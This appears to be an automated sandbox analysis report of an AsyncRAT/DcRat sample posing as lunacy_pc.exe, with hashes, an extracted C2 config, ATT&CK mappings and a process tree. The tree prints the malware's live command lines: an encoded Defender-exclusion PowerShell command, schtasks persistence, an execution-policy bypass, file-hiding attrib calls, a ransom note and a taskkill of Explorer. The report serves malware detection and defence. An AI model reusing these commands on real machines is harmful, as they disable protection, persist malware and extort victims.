asyncrat | 5ab1fefafacd3ab5dfc94a3682782b2b2cb6222311f2ab364e8e2b1e8465c631

Analysis

user interaction
yes
max time kernel
73s
max time network
78s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/08/2026, 17:55

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lunacy_pc.exe
Size 10.9MB
Sample260802-whvrvadn6y
SHA256 5ab1fefafacd3ab5dfc94a3682782b2b2cb6222311f2ab364e8e2b1e8465c631
MD5 71a4ac1342c874f95ba933eb97275988
SHA1 0af6b706777b83079bd5419e31e57420f32d05b8
SHA512 948dfed7d6f5307cae3366b8d7cf2cc1d47202ac51c34779e6cf139858ab896b53cb0c93a34b8809be2cf6fb26e1a1dc5c750de00c4fe5be1664d4a18eec6617
SSDEEP 196608:g9O2cmIQoIgd8RIRWTKWpWSyAdZHdEitvrsZ1Q5ANqLEsrif0Wqk:cSQngd8WwTaKdEqeQ5NLO1qk
TLSH
T1FAB6332F5A20C9BDD3EEB5FFF235D11448CD5B167C2351702684D8CB9AEA8B2A9CC518
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

so2 defense_evasion discovery execution asyncrat persistence rat

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Mutex

DcRatMutex_qwqdanchun

Attributes

delay
1
install
true
install_file
Helper.exe
install_folder
%AppData%
pastebin_config
https://pastebin.com/raw/tqymu4XX

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x000d00000001b853-10.dat	family_asyncrat

Executes dropped EXE 1 IoCs

pid	Process
4808	LunacyAdb.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	pastebin.com
57	pastebin.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

pid	Process
2824	powershell.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5936	cmd.exe
1920	cmd.exe
5416	cmd.exe
1880	cmd.exe
2840	cmd.exe
3644	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1200	cmd.exe
3476	cmd.exe
4156	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4756	msedge.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
1900	timeout.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
2948	taskkill.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1332	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2448	powershell.exe
2448	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2448	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5068 wrote to memory of 2448	5068	lunacy_pc.exe	89
PID 5068 wrote to memory of 4808	5068	lunacy_pc.exe	91

Views/modifies file attributes 1 TTPs 12 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
6912	attrib.exe
6992	attrib.exe
7144	attrib.exe
6804	attrib.exe
6876	attrib.exe
6928	attrib.exe
6936	attrib.exe
7072	attrib.exe
7080	attrib.exe
7092	attrib.exe
7120	attrib.exe
6884	attrib.exe

C:\Users\Admin\AppData\Local\Temp\lunacy_pc.exe
"C:\Users\Admin\AppData\Local\Temp\lunacy_pc.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGQAegBtACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAdgBmACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHQAdQBuACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGUAcABhACMAPgA="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2448
- C:\Users\Admin\AppData\Local\Temp\LunacyAdb.exe
  "C:\Users\Admin\AppData\Local\Temp\LunacyAdb.exe"
  2⤵
  - Executes dropped EXE
  PID:4808
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Helper" /tr '"C:\Users\Admin\AppData\Roaming\Helper.exe"' & exit
    3⤵
    - Executes a command shell one-liner
    PID:1200
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "Helper" /tr '"C:\Users\Admin\AppData\Roaming\Helper.exe"'
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1332
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp91F5.tmp.bat""
    3⤵
    - Executes a command shell one-liner
    PID:3476
  - - C:\Windows\system32\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:1900
  - - C:\Users\Admin\AppData\Roaming\Helper.exe
      "C:\Users\Admin\AppData\Roaming\Helper.exe"
      4⤵
      PID:5100
- C:\Users\Admin\AppData\Roaming\lunacy_pc.exe
  "C:\Users\Admin\AppData\Roaming\lunacy_pc.exe"
  2⤵
  PID:4984
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://t.me/qwertyx_crack/
    3⤵
    PID:1680
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x318,0x7ffbb6e0c188,0x7ffbb6e0c194,0x7ffbb6e0c1a0
      4⤵
      PID:3592
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1656,i,2811340042795626800,2977257160022404442,524288 --field-trial-handle=2476,i,8900119225570271293,10944539163918599148,262144 --variations-seed-version --mojo-platform-channel-handle=2824 /prefetch:11
      4⤵
      System Time Discovery
      PID:4756
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1524,i,12464306883708508728,12205842264104517101,262144 --field-trial-handle=2476,i,8900119225570271293,10944539163918599148,262144 --variations-seed-version --mojo-platform-channel-handle=2472 /prefetch:2
      4⤵
      PID:2944
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1984,i,13118951788782989842,10373618698900463838,524288 --field-trial-handle=2476,i,8900119225570271293,10944539163918599148,262144 --variations-seed-version --mojo-platform-channel-handle=2784 /prefetch:13
      4⤵
      PID:4276
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3712,i,12768070697761985245,15922543285979718144,2097152 --field-trial-handle=2476,i,8900119225570271293,10944539163918599148,262144 --variations-seed-version --mojo-platform-channel-handle=3752 /prefetch:1
      4⤵
      PID:964
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3680,i,7533603602521890269,7862397070240739183,2097152 --field-trial-handle=2476,i,8900119225570271293,10944539163918599148,262144 --variations-seed-version --mojo-platform-channel-handle=3756 /prefetch:1
      4⤵
      PID:5844
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4356,i,4779799649805371193,2613156352814077946,2097152 --field-trial-handle=2476,i,8900119225570271293,10944539163918599148,262144 --variations-seed-version --mojo-platform-channel-handle=3676 /prefetch:1
      4⤵
      PID:1296
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4380,i,10349343756526408560,575463297281668683,2097152 --field-trial-handle=2476,i,8900119225570271293,10944539163918599148,262144 --variations-seed-version --mojo-platform-channel-handle=4532 /prefetch:9
      4⤵
      PID:2076
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3828,i,1773715879544793955,17463405360231806726,524288 --field-trial-handle=2476,i,8900119225570271293,10944539163918599148,262144 --variations-seed-version --mojo-platform-channel-handle=5392 /prefetch:14
      4⤵
      PID:2980
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=5512,i,4640197264876289910,14901783220398658096,2097152 --field-trial-handle=2476,i,8900119225570271293,10944539163918599148,262144 --variations-seed-version --mojo-platform-channel-handle=5488 /prefetch:1
      4⤵
      PID:5612
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5100,i,14489555103948084807,11788988340457771047,524288 --field-trial-handle=2476,i,8900119225570271293,10944539163918599148,262144 --variations-seed-version --mojo-platform-channel-handle=5088 /prefetch:14
      4⤵
      PID:4240
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5104,i,10086680886226100251,9505679181260291144,524288 --field-trial-handle=2476,i,8900119225570271293,10944539163918599148,262144 --variations-seed-version --mojo-platform-channel-handle=5068 /prefetch:14
      4⤵
      PID:1256
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3748,i,3455331980494681983,8813512100287434909,524288 --field-trial-handle=2476,i,8900119225570271293,10944539163918599148,262144 --variations-seed-version --mojo-platform-channel-handle=6140 /prefetch:14
      4⤵
      PID:5676
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3748,i,3455331980494681983,8813512100287434909,524288 --field-trial-handle=2476,i,8900119225570271293,10944539163918599148,262144 --variations-seed-version --mojo-platform-channel-handle=6140 /prefetch:14
      4⤵
      PID:5464
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6312,i,474174033716956730,380758719755282708,524288 --field-trial-handle=2476,i,8900119225570271293,10944539163918599148,262144 --variations-seed-version --mojo-platform-channel-handle=6224 /prefetch:14
      4⤵
      PID:1760
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6476,i,223067082081948562,17859509958835138599,524288 --field-trial-handle=2476,i,8900119225570271293,10944539163918599148,262144 --variations-seed-version --mojo-platform-channel-handle=6480 /prefetch:14
      4⤵
      PID:5764
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6844,i,1073345017655768751,7007042934722322508,524288 --field-trial-handle=2476,i,8900119225570271293,10944539163918599148,262144 --variations-seed-version --mojo-platform-channel-handle=6840 /prefetch:14
      4⤵
      PID:952
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6676,i,4016717139865818215,69792548474947768,524288 --field-trial-handle=2476,i,8900119225570271293,10944539163918599148,262144 --variations-seed-version --mojo-platform-channel-handle=6648 /prefetch:14
      4⤵
      PID:4588
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3748,i,10404824304263512964,1022743844878544741,524288 --field-trial-handle=2476,i,8900119225570271293,10944539163918599148,262144 --variations-seed-version --mojo-platform-channel-handle=6268 /prefetch:14
      4⤵
      PID:5112
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6272,i,18054183192495705653,14491288839083999492,524288 --field-trial-handle=2476,i,8900119225570271293,10944539163918599148,262144 --variations-seed-version --mojo-platform-channel-handle=6260 /prefetch:14
      4⤵
      PID:2936
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6276,i,9624820547841386727,15461198385392291924,524288 --field-trial-handle=2476,i,8900119225570271293,10944539163918599148,262144 --variations-seed-version --mojo-platform-channel-handle=5280 /prefetch:14
      4⤵
      PID:4268
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4496,i,2683034575068320792,9355375896807371137,524288 --field-trial-handle=2476,i,8900119225570271293,10944539163918599148,262144 --variations-seed-version --mojo-platform-channel-handle=4516 /prefetch:14
      4⤵
      PID:3040

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4492

C:\Users\Admin\AppData\Roaming\Helper.exe
"C:\Users\Admin\AppData\Roaming\Helper.exe"
1⤵
PID:1648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\WinLock.exe"' & exit
  2⤵
  - Executes a command shell one-liner
  PID:4156
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\WinLock.exe"'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2824
  - - C:\Users\Admin\AppData\Local\Temp\WinLock.exe
      "C:\Users\Admin\AppData\Local\Temp\WinLock.exe"
      4⤵
      PID:1292
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @UnlockerUxBot 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        5⤵
        Hide Artifacts: Hidden Files and Directories
        
        PID:5936
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s +r +i /D
        6⤵
        Views/modifies file attributes
        
        PID:6928
      - C:\Windows\system32\attrib.exe
        
        attrib -h +s +r info-Locker.txt
        6⤵
        Views/modifies file attributes
        
        PID:7144
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @UnlockerUxBot 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        5⤵
        Hide Artifacts: Hidden Files and Directories
        
        PID:1920
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s +r +i /D
        6⤵
        Views/modifies file attributes
        
        PID:6936
      - C:\Windows\system32\attrib.exe
        
        attrib -h +s +r info-Locker.txt
        6⤵
        Views/modifies file attributes
        
        PID:7120
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @UnlockerUxBot 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        5⤵
        Hide Artifacts: Hidden Files and Directories
        
        PID:5416
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s +r +i /D
        6⤵
        Views/modifies file attributes
        
        PID:6884
      - C:\Windows\system32\attrib.exe
        
        attrib -h +s +r info-Locker.txt
        6⤵
        Views/modifies file attributes
        
        PID:7072
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @UnlockerUxBot 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        5⤵
        Hide Artifacts: Hidden Files and Directories
        
        PID:2840
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s +r +i /D
        6⤵
        Views/modifies file attributes
        
        PID:6876
      - C:\Windows\system32\attrib.exe
        
        attrib -h +s +r info-Locker.txt
        6⤵
        Views/modifies file attributes
        
        PID:7092
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @UnlockerUxBot 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        5⤵
        Hide Artifacts: Hidden Files and Directories
        
        PID:1880
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s +r +i /D
        6⤵
        Views/modifies file attributes
        
        PID:6912
      - C:\Windows\system32\attrib.exe
        
        attrib -h +s +r info-Locker.txt
        6⤵
        Views/modifies file attributes
        
        PID:7080
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @UnlockerUxBot 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        5⤵
        Hide Artifacts: Hidden Files and Directories
        
        PID:3644
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s +r +i /D
        6⤵
        Views/modifies file attributes
        
        PID:6804
      - C:\Windows\system32\attrib.exe
        
        attrib -h +s +r info-Locker.txt
        6⤵
        Views/modifies file attributes
        
        PID:6992
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill.exe /im Explorer.exe /f
        5⤵
        Kills process with taskkill
        
        PID:2948

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:1212

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5552

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe"
1⤵
PID:1188

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe" -startup
1⤵
PID:692

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 e75f270f1371188bd7f350113eee1f4d141652add7af8e5f7af0ab47dac6d1f2
MD5 e0e7da4c84e8882b494037c575bd294c
SHA1 04d43c383ac5d232ee362aad151519414dc6db2b
SHA512 70d9ca23de3befb782d3d04a586490c626e7c63ad00fac39b0fd9adeae2c1d8413a5d2474e847fabb4f48bbf1384f1fcd10e67765d21ed94ac67795b274b3c2e
TLSH
T122D09294BB60A90CCC81B0322AE66355BA1598A1182D868900A5F07A9CA8AC246179AF
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 e35119268ad2455b6ec4314361db946ee09b095b28e62d25bbd7542d6be959b9
MD5 5c633da04aeb5bea485c08ea28f57d24
SHA1 1c5287022e764ef0bb6d895cd993be007ab68eba
SHA512 341697613439896bbdc5bae2e067bf2b52fd4ee959460166157f5fcf5f0647d000c9824a7394abad2ea244ee761164649972236a37dd919e413ac011474bb4b7
TLSH
T12DD09B947B50A50CCC41703229E5535579155461581D45450055F0799C646C246175BF
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 2KB
SHA256 6ad035fdd390c3f2e29e24d5042af2e45e85ed84351c4827142e7f89c7bdd78b
MD5 77731332caa78ec0a864951c8c14c494
SHA1 53e2ac4024fada583f48dd6f882a1d1651f6c6eb
SHA512 5889addd6d467e5b275f4db1a58dea0c9043b3a3488f8bedf9c7b4e4bb266d2321df79a92ebfef7b6390ce77b916a599dcfd0a0b6c964c943bf275c696c4c9b6
TLSH
T18A51426EB7A618C1EF608CB225DD4C893AF3A0E8950B2F50145CBEB3C907FA4D1D0863
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe59e092.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe59e092.TMP
Size 2KB
SHA256 ec3ac684ce63a27df0b2cb27fbad4ff971fb57bb710cf7b5e561340f6a94dce5
MD5 2f5eb42d3a671037cb379ffd32a29d0a
SHA1 23c0719323c8f8babb3110d3554a1ba95615feba
SHA512 8f19ce64c1739b8f020a610805e1634c28f14a833e7de5b154886d4fcf10d1f5110532276590f9bfb58f7080b8991a678cf09604e50ead354eb83f4ed3316022
TLSH
T10A51216E7BA518C0DF609CB224ED48993AF3A4E895072F51145CBE73C907FA5D1D0863
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
